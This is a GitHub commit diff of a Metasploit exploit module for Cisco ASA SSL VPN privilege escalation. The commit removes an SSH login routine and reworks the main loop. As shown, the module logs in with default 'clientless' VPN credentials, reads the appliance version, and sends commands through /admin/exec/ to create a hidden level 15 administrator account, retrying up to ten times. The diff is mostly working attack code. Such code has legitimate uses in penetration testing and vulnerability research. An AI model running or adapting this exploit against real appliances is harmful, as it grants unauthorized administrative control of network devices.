Skip to content

Commit 186d20b

Browse files
author
Jonathan Claudius
committed
Remove MetaSSH requirements
1 parent e7d3819 commit 186d20b

File tree

1 file changed

+47
-63
lines changed

1 file changed

+47
-63
lines changed

modules/exploits/multi/http/cisco_ssl_vpn_priv_esc.rb

Lines changed: 47 additions & 63 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
99
Rank = ExcellentRanking
1010

1111
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Auxiliary::CommandShell
1213

1314
attr_accessor :ssh_socket
1415

@@ -32,22 +33,27 @@ def initialize(info = {})
3233
[ 'URL', 'http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140409-asa' ],
3334
[ 'URL', 'https://www3.trustwave.com/spiderlabs/advisories/TWSL2014-005.txt' ]
3435
],
35-
'Privileged' => false,
36+
'Targets' => [[ 'Automatic', {}]],
37+
'DefaultOptions' =>
38+
{
39+
'ExitFunction' => "none"
40+
},
3641
'Payload' =>
3742
{
38-
'DisableNops' => true,
39-
'Space' => 1024,
40-
'Compat' =>
41-
{
42-
'PayloadType' => 'ssh',
43-
'ConnectionType' => 'ssh',
44-
}
43+
'Compat' => {
44+
'PayloadType' => 'cmd_interact',
45+
'ConnectionType' => 'find'
46+
}
4547
},
46-
'Platform' => ['ssh'],
47-
'Arch' => ARCH_SSH,
48-
'Targets' => [[ 'Automatic', { }]],
49-
'DefaultTarget' => 0,
50-
'DisclosureDate' => 'Sep 18 2013'
48+
'Platform' => 'unix',
49+
'Arch' => ARCH_CMD,
50+
'Targets' =>
51+
[
52+
['Cisco ASA', {} ],
53+
],
54+
'Privileged' => true,
55+
'DisclosureDate' => "April 9, 2014",
56+
5157
))
5258

5359
register_options(
@@ -57,7 +63,9 @@ def initialize(info = {})
5763
OptString.new('USERNAME', [true, "A specific username to authenticate as", 'clientless']),
5864
OptString.new('PASSWORD', [true, "A specific password to authenticate with", 'clientless']),
5965
OptString.new('GROUP', [true, "A specific VPN group to use", 'clientless'])
60-
], self.class)
66+
], self.class
67+
)
68+
6169
end
6270

6371
# Verify whether the connection is working or not
@@ -118,11 +126,11 @@ def do_logout(cookie)
118126
def run_command(cmd, cookie)
119127
reformatted_cmd = cmd.split(" ").join("+")
120128

121-
res = send_request_cgi({
122-
'uri' => "/admin/exec/#{reformatted_cmd}",
123-
'method' => 'GET',
124-
'cookie' => cookie
125-
})
129+
res = send_request_cgi(
130+
'uri' => "/admin/exec/#{reformatted_cmd}",
131+
'method' => 'GET',
132+
'cookie' => cookie
133+
)
126134

127135
if res
128136
return res
@@ -181,7 +189,8 @@ def add_user(cookie, tries = 10)
181189
resp = run_command(command, cookie)
182190

183191
if resp &&
184-
!resp.body.include?('Command authorization failed')
192+
!resp.body.include?('Command authorization failed') &&
193+
!resp.body.include?('Command failed')
185194
print_good("#{peer} - Privilege Escalation Appeared Successful")
186195
return [username, password]
187196
else
@@ -205,33 +214,6 @@ def random_username(length = 8)
205214
(0...length).map { char_array[rand(char_array.length)] }.join
206215
end
207216

208-
def ssh_login(ip, user, pass)
209-
opt_hash = {
210-
:auth_methods => ['password', 'keyboard-interactive'],
211-
:msframework => framework,
212-
:msfmodule => self,
213-
:port => 22,
214-
:disable_agent => true,
215-
:config => false,
216-
:password => pass
217-
}
218-
219-
begin
220-
session = Net::SSH.start(ip, user, opt_hash)
221-
return session
222-
rescue Rex::ConnectionError, Rex::AddressInUse
223-
fail_with(Failure::Unreachable, 'Disconnected during negotiation')
224-
rescue Net::SSH::Disconnect, ::EOFError
225-
fail_with(Failure::Disconnected, 'Timed out during negotiation')
226-
rescue Net::SSH::AuthenticationFailed
227-
fail_with(Failure::NoAccess, 'Failed authentication')
228-
rescue Net::SSH::Exception => e
229-
fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
230-
end
231-
232-
return nil
233-
end
234-
235217
def do_login(user, pass, group)
236218
begin
237219
cookie = "webvpn=; " +
@@ -283,11 +265,11 @@ def exploit
283265
# Validate we're dealing with Cisco SSL VPN
284266
validate_cisco_ssl_vpn()
285267

286-
ssh = nil
287-
creds = nil
288-
289-
5.times do |i|
290-
vprint_status("#{peer} - *** Exploit Session Attempt #{(i + 1).to_s} ***")
268+
# This is crude, but I've found this to be somewhat
269+
# interimittent based on session, so we'll just try
270+
# 10 times.
271+
10.times do |i|
272+
print_good("#{peer} - Exploit Attempt ##{i}")
291273

292274
# Authenticate to SSL VPN and get session cookie
293275
cookie = do_login(
@@ -296,27 +278,29 @@ def exploit
296278
datastore['GROUP']
297279
)
298280

299-
281+
# Grab version
300282
version = do_show_version(cookie, 1)
301-
unless version
283+
284+
if version_match = version.match(/Cisco Adaptive Security Appliance Software Version ([\d+\.\(\)]+)/)
285+
print_good("#{peer} - Show version succeeded. Version is Cisco ASA #{version_match[1]}")
286+
else
302287
do_logout(cookie)
288+
print_good("#{peer} - Show version failed")
303289
next
304290
end
305291

292+
# Attempt to add an admin user
306293
creds = add_user(cookie, 1)
307294

308-
# Logout of our SSL VPN session
309295
do_logout(cookie)
310296

311-
break if creds
312-
end
313-
314-
username, password = creds
315-
316-
if ssh = ssh_login(datastore['RHOST'], username, password)
317-
handler(ssh)
297+
if creds
298+
print_good("#{peer} - Successfully added level 15 account #{creds.join(", ")}")
299+
break
300+
else
301+
print_good("#{peer} - Failed to created user account")
302+
end
318303
end
319-
320304
end
321305

322306
end

0 commit comments

Comments
 (0)